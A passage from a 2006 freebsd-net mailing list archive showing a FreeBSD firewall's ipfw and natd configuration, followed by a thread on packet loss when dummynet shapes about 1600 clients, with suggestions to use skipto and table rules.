vlan: 900 parent interface: bge0 vlan902: flags=8843 mtu 1500 inet6 fe80::215:f2ff:fed0:d898%vlan902 prefixlen 64 scopeid 0x7 inet 208.xxx.xxx.48 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.49 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.50 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.51 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.52 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.53 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.54 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.55 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.56 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.57 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.58 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.59 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.60 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.61 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.62 netmask 0xffffff00 broadcast 208.xxx.xxx.255 inet 208.xxx.xxx.63 netmask 0xffffff00 broadcast 208.xxx.xxx.255 ether 00:15:f2:d0:d8:98 media: Ethernet autoselect (100baseTX ) status: active vlan: 902 parent interface: bge0 [root@t3031fw ~]# ipfw show 00100 612 297138 allow ip from any to any via lo0 00200 0 0 deny ip from any to 127.0.0.0/8 00300 0 0 deny ip from 127.0.0.0/8 to any 00401 507 46266 allow ip from 63.197.17.60 to any 00402 434 71914 allow ip from any to 63.197.17.60 00999 1256 75280 fwd 208.xxx.xxx.1 ip from 208.xxx.xxx.48/28 to any 01000 51349830 10346449386 divert 8668 ip from any to any via vlan900 01100 25290 6692181 divert 8669 ip from any to any via vlan902 01999 0 0 check-state 02999 5393 444962 allow icmp from any to any 03000 5290 847646 allow tcp from 10.255.2.0/24 to any keep-state 03001 0 0 allow udp from any to 10.255.2.100 dst-port 4569 keep-state 03001 26469 3267888 allow tcp from any to 10.255.2.100 dst-port 22 keep-state 03002 0 0 allow udp from any to 10.255.2.200 dst-port 4569 keep-state 03002 22003 2652985 allow tcp from any to 10.255.2.200 dst-port 22 keep-state 03300 10313 1223322 allow ip from 10.255.1.0/24 to 10.255.1.0/24 keep-state 03999 0 0 allow ip from 208.xxx.xxx.48/28 to any keep-state 04000 25701603 5174357258 allow ip from 67.xxx.xxx.128/27 to any keep-state 04001 0 0 allow tcp from any to 67.xxx.xxx.130 dst-port 22 keep-state 04002 0 0 allow tcp from any to 67.xxx.xxx.140 dst-port 22 keep-state 04058 32848 4351775 allow tcp from any to 67.xxx.xxx.158 dst-port 22 keep-state 04080 4596 3101277 allow tcp from any to 67.xxx.xxx.158 dst-port 80 keep-state 04080 4349 2856224 allow tcp from any to 208.xxx.xxx.48 dst-port 80 keep-state 10011 0 0 allow ip from 208.201.244.72/29 to 67.xxx.xxx.128/27 keep-state 10012 120462 68409347 allow ip from 208.201.244.72/29 to 10.255.2.0/24 keep-state 10013 0 0 allow ip from 67.xxx.xxx.128/27 to 208.201.244.72/29 keep-state 10014 223046 54830393 allow ip from 10.255.2.0/24 to 208.201.244.72/29 keep-state 11111 13137 6722265 allow ip from 10.255.2.0/24 to 207.174.202.2 keep-state 11112 0 0 allow ip from 67.xxx.xxx.128/27 to 207.174.202.2 keep-state 11113 0 0 allow ip from 207.174.202.2 to 67.xxx.xxx.128/27 keep-state 11114 22806 11460460 allow ip from 207.174.202.2 to 10.255.2.0/24 keep-state 11201 39017 19450498 allow ip from 10.255.2.0/24 to 207.174.202.3 keep-state 11202 0 0 allow ip from 67.xxx.xxx.128/27 to 207.174.202.3 keep-state 11203 0 0 allow ip from 207.174.202.3 to 67.xxx.xxx.128/27 keep-state 11204 17986 9036892 allow ip from 207.174.202.3 to 10.255.2.0/24 keep-state 11301 72141 10621231 allow ip from 10.255.2.0/24 to 207.174.202.4 keep-state 11302 0 0 allow ip from 67.xxx.xxx.128/27 to 207.174.202.4 keep-state 11303 0 0 allow ip from 207.174.202.4 to 67.xxx.xxx.128/27 keep-state 11304 22625 11368053 allow ip from 207.174.202.4 to 10.255.2.0/24 keep-state 11401 43193817 8659831738 allow ip from 10.255.2.0/24 to 216.241.188.54 keep-state 11402 0 0 allow ip from 67.xxx.xxx.128/27 to 216.241.188.54 keep-state 11403 0 0 allow ip from 216.241.188.54 to 67.xxx.xxx.128/27 keep-state 11404 611137 131292121 allow ip from 216.241.188.54 to 10.255.2.0/24 keep-state 12101 31804010 6372136314 allow ip from 10.255.2.0/24 to 207.174.111.12 keep-state 12102 0 0 allow ip from 67.xxx.xxx.128/27 to 207.174.111.12 keep-state 12103 0 0 allow ip from 207.174.111.12 to 67.xxx.xxx.128/27 keep-state 12104 441864 96541650 allow ip from 207.174.111.12 to 10.255.2.0/24 keep-state 13101 98120 11157261 allow ip from 10.255.2.0/24 to 66.246.246.52 keep-state 13102 0 0 allow ip from 67.xxx.xxx.128/27 to 66.246.246.52 keep-state 13103 0 0 allow ip from 66.246.246.52 to 67.xxx.xxx.128/27 keep-state 13104 0 0 allow ip from 66.246.246.52 to 10.255.2.0/24 keep-state 64000 49199 5396398 allow udp from 10.255.2.0/24 to any dst-port 53 keep-state 65000 213362 84312193 deny ip from any to any 65535 1 72 allow ip from any to any [root@t3031fw ~]# cat /etc/natd900.conf log_facility security use_sockets same_ports port natd interface vlan900 unregistered_only redirect_address 10.255.2.100 67.xxx.xxx.130 redirect_address 10.255.2.101 67.xxx.xxx.131 redirect_address 10.255.2.102 67.xxx.xxx.132 redirect_address 10.255.2.103 67.xxx.xxx.133 redirect_address 10.255.2.104 67.xxx.xxx.134 redirect_address 10.255.2.105 67.xxx.xxx.135 redirect_address 10.255.2.106 67.xxx.xxx.136 redirect_address 10.255.2.107 67.xxx.xxx.137 redirect_address 10.255.2.108 67.xxx.xxx.138 redirect_address 10.255.2.109 67.xxx.xxx.139 redirect_address 10.255.2.200 67.xxx.xxx.140 [root@t3031fw ~]# cat /etc/natd902.conf log_facility security use_sockets same_ports port natd2 alias_address 208.xxx.xxx.48 unregistered_only redirect_address 10.255.2.100 208.xxx.xxx.50 redirect_address 10.255.2.101 208.xxx.xxx.51 redirect_address 10.255.2.102 208.xxx.xxx.52 redirect_address 10.255.2.103 208.xxx.xxx.53 redirect_address 10.255.2.104 208.xxx.xxx.54 redirect_address 10.255.2.105 208.xxx.xxx.55 redirect_address 10.255.2.106 208.xxx.xxx.56 redirect_address 10.255.2.107 208.xxx.xxx.57 redirect_address 10.255.2.108 208.xxx.xxx.58 redirect_address 10.255.2.109 208.xxx.xxx.59 redirect_address 10.255.2.200 208.xxx.xxx.60 From owner-freebsd-net@FreeBSD.ORG Tue May 2 00:53:38 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1446D16A416 for ; Tue, 2 May 2006 00:53:38 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from srv1.netconsultoria.com.br (srv1.netconsultoria.com.br [200.230.201.252]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5612A43D6B for ; Tue, 2 May 2006 00:53:34 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from [192.168.0.1] (mailgw.netconsultoria.com.br [200.230.201.249]) by srv1.netconsultoria.com.br (8.13.6/8.13.3) with ESMTP id k420rIKB060517; Mon, 1 May 2006 21:53:19 -0300 (BRT) (envelope-from tpeixoto@widesoft.com.br) Message-ID: <4456AD8E.2060703@widesoft.com.br> Date: Mon, 01 May 2006 21:53:34 -0300 From: tpeixoto@widesoft.com.br User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: Erich Dollansky References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> In-Reply-To: <445038CA.2050008@pacific.net.sg> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV 0.88.1/1431/Sun Apr 30 14:46:15 2006 on srv1.netconsultoria.com.br X-Virus-Status: Clean Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 00:53:38 -0000 Hello! Erich Dollansky wrote: > Hi, > > tpeixoto@widesoft.com.br wrote: >> >> At this moment, I'm getting more than 50% interrupts and 20% packets >> lost. > > you must have something very basic done the wrong way. > Hope so. So I can fix and learn from it! > I would suggest to upgrade that box to 6.1. > We tried 6.0-RELEASE. Please, keep reading... > You need then a systematic approach. > > Run the GENERIC kernel and see what happens there. > Ok, 15% interrupts. System worked fine. > Then take all out you believe you do not need and see what happens then. > > Finally, switch to SMP and start the fine tuning. > Kernel recompiled with SMP+IPFW+DUMMYNET and system running with firewall_type="OPEN". Low interrupts, great. As I inserted the bandwidth rules, the problem arose again! Interrupts getting at 80% and packets being lost. > Do not use HT as it should slow down the machine. > I switched it off but didn't notice any major difference. Anyway I left it disabled. > If even the first step fails, check the connections including the > network card if it is one. > > Erich > I guess we found where the problem is. IPFW and dummynet seems to be the ones to blame here, or the way we are using them. For each MAC address we want to shape, we use 2 pipes and 2 rules, 1 for download and 1 for upload. I believe the problem is that the number of clients (MAC addresses) grew from 200 to around 1600, and this means lots of pipes and lots of rules. Anyone knows a better way to get this job done? Thanks! From owner-freebsd-net@FreeBSD.ORG Tue May 2 01:11:45 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C88A816A401 for ; Tue, 2 May 2006 01:11:45 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from srv1.netconsultoria.com.br (srv1.netconsultoria.com.br [200.230.201.252]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8776F43D48 for ; Tue, 2 May 2006 01:11:43 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from [192.168.0.1] (mailgw.netconsultoria.com.br [200.230.201.249]) by srv1.netconsultoria.com.br (8.13.6/8.13.3) with ESMTP id k421Bd86061361; Mon, 1 May 2006 22:11:41 -0300 (BRT) (envelope-from tpeixoto@widesoft.com.br) Message-ID: <4456B1E0.9040408@widesoft.com.br> Date: Mon, 01 May 2006 22:12:00 -0300 From: tpeixoto@widesoft.com.br User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: ferdinand.goldmann@jku.at References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <44506D87.1020808@jku.at> In-Reply-To: <44506D87.1020808@jku.at> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV 0.88.1/1431/Sun Apr 30 14:46:15 2006 on srv1.netconsultoria.com.br X-Virus-Status: Clean Cc: freebsd-net@freebsd.org Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 01:11:45 -0000 Ferdinand Goldmann wrote: > tpeixoto@widesoft.com.br wrote: >> Hello. >> >> I did that and compiled the kernel. >> Then I restarted the system and enabled sysctl kern.polling.enable=1 >> >> It seems that it has no effect in the system. Maybe bge driver doesn't >> like polling? > > At least from a quick glance in the polling(4) manpage I cannot see that bge > is among the supported devices. > You're right. I read that too but I found something in Google (http://unix.derkeiler.com/Mailing-Lists/FreeBSD/net/2003-08/0241.html) and wanted to give it a shot. > If you want to use polling, I suppose that you need to enable it via ifconfig, > too: > > polling > If the driver has user-configurable polling(4) support, select > the polling mode on the interface. > It seems to be default when you enable polling, then you can switch it off and on with -polling and polling via ifconfig. > >> At this moment, I'm getting more than 50% interrupts and 20% packets lost. >> I also disabled HT in BIOS and the interrupts are now passing 80% mark. >> Don't know what else to do. Aren't these cards supposed to work at >> 100Mbits or 1Gbit? They are failing with 12Mbits traffic on a 100Mbits >> LAN. Something is wrong and I am having a hard time trying to identify the >> problem. >> >> Thanks for the hints, anything else would be greatly appreciated. > > Several wild guesses from my own experiences here: > - SMP + networking in 5.x does not work too well, using em(4) I experienced > VERY poor performance (only ~5MB/s over a Gbit link) > - Try upgrading to 6.x (as others have already suggested). I experienced all > kind of weird problems with 5.x, and although there is no proof that the > problems were actually related to 5.x, 6.x seems to work better. We did. Now we're running 6.0-RELEASE. > - What's the value of nmbclusters? Have you checked netstat -m? Do you see > memory requests for network memory denied? AFAIK, nmbclusters aren't informed properly on SMP systems. Memory requests are always 0. > - 50% interrupts on such a fast machine is quite high. I currently experience > about 30% interrupt load using two em(4) cards, shaping for about ~2000 > clients on a 3.8GHz Xeon. > Please, take a look in my previous post. I guess the problem lies with IPFW and dummynet. How do you shape your clients? Here we have (for each client): ipfw pipe 1 config bw 512Kbit/s ipfw pipe 2 config bw 512Kbit/s ipfw add pipe 1 ip from any to any mac any 00:11:22:33:44:55 in ipfw add pipe 2 ip from any to any mac 00:11:22:33:44:55 any out > Kind regards Thank you. From owner-freebsd-net@FreeBSD.ORG Tue May 2 01:21:27 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1DF5416A400 for ; Tue, 2 May 2006 01:21:27 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id C5AD543D45 for ; Tue, 2 May 2006 01:21:26 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 01 May 2006 18:21:26 -0700 Message-ID: <4456B415.3080901@elischer.org> Date: Mon, 01 May 2006 18:21:25 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tpeixoto@widesoft.com.br References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> In-Reply-To: <4456AD8E.2060703@widesoft.com.br> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 01:21:27 -0000 tpeixoto@widesoft.com.br wrote: > Hello! > > Erich Dollansky wrote: > >> Hi, >> >> tpeixoto@widesoft.com.br wrote: >> >>> >>> At this moment, I'm getting more than 50% interrupts and 20% packets >>> lost. >> >> >> you must have something very basic done the wrong way. > > > > > Hope so. So I can fix and learn from it! > > >> I would suggest to upgrade that box to 6.1. >> > > We tried 6.0-RELEASE. Please, keep reading... > > >> You need then a systematic approach. >> >> Run the GENERIC kernel and see what happens there. >> > > Ok, 15% interrupts. System worked fine. > > >> Then take all out you believe you do not need and see what happens then. >> >> Finally, switch to SMP and start the fine tuning. >> > > Kernel recompiled with SMP+IPFW+DUMMYNET and system running with > firewall_type="OPEN". Low interrupts, great. > > As I inserted the bandwidth rules, the problem arose again! Interrupts > getting at 80% and packets being lost. > > >> Do not use HT as it should slow down the machine. >> > > I switched it off but didn't notice any major difference. Anyway I > left it disabled. > > >> If even the first step fails, check the connections including the >> network card if it is one. >> >> Erich >> > > I guess we found where the problem is. IPFW and dummynet seems to be > the ones to blame here, or the way we are using them. > For each MAC address we want to shape, we use 2 pipes and 2 rules, 1 > for download and 1 for upload. > I believe the problem is that the number of clients (MAC addresses) > grew from 200 to around 1600, and this means lots of pipes and lots of > rules. > > Anyone knows a better way to get this job done? for 1600 hosts are you runing 1600 rules? That would do it.. In all versions of FreeBSD you can use the skipto rule to make sure that only a few rules are run for any address. Use it to to a binary search for the right pipe.' carefully using 'skipto' and 'table' can make it efficient to do very complex filters like that. in 7.0 you can use the 'tablearg' operator to ensure that only 1 rule is run per host . I don't know if it is in 6.1.. if not you may be able to simply apply the diffs. > > Thanks! > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" From owner-freebsd-net@FreeBSD.ORG Tue May 2 02:09:00 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4436316A400 for ; Tue, 2 May 2006 02:09:00 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from srv1.netconsultoria.com.br (srv1.netconsultoria.com.br [200.230.201.252]) by mx1.FreeBSD.org (Postfix) with ESMTP id A112543D45 for ; Tue, 2 May 2006 02:08:56 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from [192.168.0.1] (mailgw.netconsultoria.com.br [200.230.201.249]) by srv1.netconsultoria.com.br (8.13.6/8.13.3) with ESMTP id k4228g1l064282; Mon, 1 May 2006 23:08:43 -0300 (BRT) (envelope-from tpeixoto@widesoft.com.br) Message-ID: <4456BF4A.7050107@widesoft.com.br> Date: Mon, 01 May 2006 23:09:14 -0300 From: tpeixoto@widesoft.com.br User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: Julian Elischer References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> In-Reply-To: <4456B415.3080901@elischer.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV 0.88.1/1431/Sun Apr 30 14:46:15 2006 on srv1.netconsultoria.com.br X-Virus-Status: Clean Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 02:09:00 -0000 Julian Elischer wrote: > tpeixoto@widesoft.com.br wrote: > >> Hello! >> >> Erich Dollansky wrote: >> >>> Hi, >>> >>> tpeixoto@widesoft.com.br wrote: >>> >>>> >>>> At this moment, I'm getting more than 50% interrupts and 20% packets >>>> lost. >>> >>> >>> you must have something very basic done the wrong way. >> >> > >> >> Hope so. So I can fix and learn from it! >> >> >>> I would suggest to upgrade that box to 6.1. >>> >> >> We tried 6.0-RELEASE. Please, keep reading... >> >> >>> You need then a systematic approach. >>> >>> Run the GENERIC kernel and see what happens there. >>> >> >> Ok, 15% interrupts. System worked fine. >> >> >>> Then take all out you believe you do not need and see what happens then. >>> >>> Finally, switch to SMP and start the fine tuning. >>> >> >> Kernel recompiled with SMP+IPFW+DUMMYNET and system running with >> firewall_type="OPEN". Low interrupts, great. >> >> As I inserted the bandwidth rules, the problem arose again! Interrupts >> getting at 80% and packets being lost. >> >> >>> Do not use HT as it should slow down the machine. >>> >> >> I switched it off but didn't notice any major difference. Anyway I >> left it disabled. >> >> >>> If even the first step fails, check the connections including the >>> network card if it is one. >>> >>> Erich >>> >> >> I guess we found where the problem is. IPFW and dummynet seems to be >> the ones to blame here, or the way we are using them. >> For each MAC address we want to shape, we use 2 pipes and 2 rules, 1 >> for download and 1 for upload. >> I believe the problem is that the number of clients (MAC addresses) >> grew from 200 to around 1600, and this means lots of pipes and lots of >> rules. >> >> Anyone knows a better way to get this job done? > > > for 1600 hosts are you runing 1600 rules? > No. For 1600 hosts we're running 3200 rules... (and also 3200 pipes). > That would do it.. > > In all versions of FreeBSD > you can use the skipto rule to make sure that only a few rules are run > for any > address. Use it to to a binary search for the right pipe.' > carefully using 'skipto' and 'table' can make it efficient to do very > complex > filters like that. > Sorry, but I didn't realized how to use that as we have to shape each user individually, i.e., each MAC address on the LAN has its own download and upload speeds. Could you clarify how to improve the situation with the tools you mentioned? Thanks. > > in 7.0 you can use the 'tablearg' operator to ensure that only 1 rule is > run per host . > I don't know if it is in 6.1.. > if not you may be able to simply apply the diffs. > > >> >> Thanks! >> _______________________________________________ >> freebsd-net@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-net >> To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" > > From owner-freebsd-net@FreeBSD.ORG Tue May 2 03:27:29 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0FC6A16A401 for ; Tue, 2 May 2006 03:27:29 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id B1D2E43D45 for ; Tue, 2 May 2006 03:27:27 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 01 May 2006 20:27:28 -0700 Message-ID: <4456D19F.7030101@elischer.org> Date: Mon, 01 May 2006 20:27:27 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tpeixoto@widesoft.com.br References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> In-Reply-To: <4456BF4A.7050107@widesoft.com.br> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 03:27:29 -0000 tpeixoto@widesoft.com.br wrote: > > Julian Elischer wrote: > >> tpeixoto@widesoft.com.br wrote: >> >>> Hello! >>> >>> Erich Dollansky wrote: >>> >>>> Hi, >>>> >>>> tpeixoto@widesoft.com.br wrote: >>>> >>>>> >>>>> At this moment, I'm getting more than 50% interrupts and 20% >>>>> packets lost. >>>> >>>> >>>> >>>> you must have something very basic done the wrong way. >>> >>> >>> > >>> >>> Hope so. So I can fix and learn from it! >>> >>> >>>> I would suggest to upgrade that box to 6.1. >>>> >>> >>> We tried 6.0-RELEASE. Please, keep reading... >>> >>> >>>> You need then a systematic approach. >>>> >>>> Run the GENERIC kernel and see what happens there. >>>> >>> >>> Ok, 15% interrupts. System worked fine. >>> >>> >>>> Then take all out you believe you do not need and see what happens >>>> then. >>>> >>>> Finally, switch to SMP and start the fine tuning. >>>> >>> >>> Kernel recompiled with SMP+IPFW+DUMMYNET and system running with >>> firewall_type="OPEN". Low interrupts, great. >>> >>> As I inserted the bandwidth rules, the problem arose again! >>> Interrupts getting at 80% and packets being lost. >>> >>> >>>> Do not use HT as it should slow down the machine. >>>> >>> >>> I switched it off but didn't notice any major difference. Anyway I >>> left it disabled. >>> >>> >>>> If even the first step fails, check the connections including the >>>> network card if it is one. >>>> >>>> Erich >>>> >>> >>> I guess we found where the problem is. IPFW and dummynet seems to be >>> the ones to blame here, or the way we are using them. >>> For each MAC address we want to shape, we use 2 pipes and 2 rules, 1 >>> for download and 1 for upload. >>> I believe the problem is that the number of clients (MAC addresses) >>> grew from 200 to around 1600, and this means lots of pipes and lots >>> of rules. >>> >>> Anyone knows a better way to get this job done? >> >> >> >> for 1600 hosts are you runing 1600 rules? >> > > No. For 1600 hosts we're running 3200 rules... (and also 3200 pipes). > > >> That would do it.. >> >> In all versions of FreeBSD >> you can use the skipto rule to make sure that only a few rules are >> run for any >> address. Use it to to a binary search for the right pipe.' >> carefully using 'skipto' and 'table' can make it efficient to do very >> complex >> filters like that. >> > > Sorry, but I didn't realized how to use that as we have to shape each > user individually, i.e., each MAC address on the LAN has its own > download and upload speeds. > > Could you clarify how to improve the situation with the tools you > mentioned? Assuming you can not use "tablearg" yet (it will make this REALLY EASY) then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 then consider: ipfw add 1000 skipto 2000 ip from any to 1.1.1.16/28 ipfw add 1010 skipto 1020 ip from any to 1.1.1.8/29 ipfw add 1012 skipto 1026 ip from any to 1.1.1.4./30 ipfw add 1013 [anything] ip from any to 1.1.1.1 ipfw add 1013 [anything] ip from any to 1.1.1.1 ipfw add 1013 [anything] ip from any to 1.1.1.1 ipfw add 1013 [anything] ip from any to 1.1.1.1 > > Thanks. > > >> >> in 7.0 you can use the 'tablearg' operator to ensure that only 1 rule >> is run per host . >> I don't know if it is in 6.1.. >> if not you may be able to simply apply the diffs. >> >> >>> >>> Thanks! >>> _______________________________________________ >>> freebsd-net@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-net >>> To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" >> >> >> From owner-freebsd-net@FreeBSD.ORG Tue May 2 03:29:39 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5FBB716A40F for ; Tue, 2 May 2006 03:29:39 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1D3EA43D6E for ; Tue, 2 May 2006 03:29:33 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 01 May 2006 20:29:33 -0700 Message-ID: <4456D21C.8030607@elischer.org> Date: Mon, 01 May 2006 20:29:32 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Julian Elischer References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> In-Reply-To: <4456D19F.7030101@elischer.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 03:29:39 -0000 Julian Elischer wrote: > tpeixoto@widesoft.com.br wrote: > >> >> Julian 